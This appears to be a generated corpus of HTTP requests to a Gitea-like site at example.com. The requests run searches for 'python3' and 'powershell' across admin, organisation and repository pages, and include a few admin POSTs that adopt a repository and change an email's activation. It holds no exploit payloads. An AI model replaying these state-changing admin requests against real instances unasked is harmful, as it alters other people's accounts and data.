{"method": "GET", "target": "/admin/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/orgs?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages?q=python3&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 52", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=python3&page=1"}
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 97", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=python3&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
{"method": "GET", "target": "/explore/topics/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=powershell&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/notifications/watching?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/teams/-/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/code?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/projects?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=powershell&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=powershell&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/tags?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestone/1?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/projects?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/packages?q=powershell&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/posters?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/posters?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/orgs?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages?q=powershell&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 55", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=powershell&page=1"}
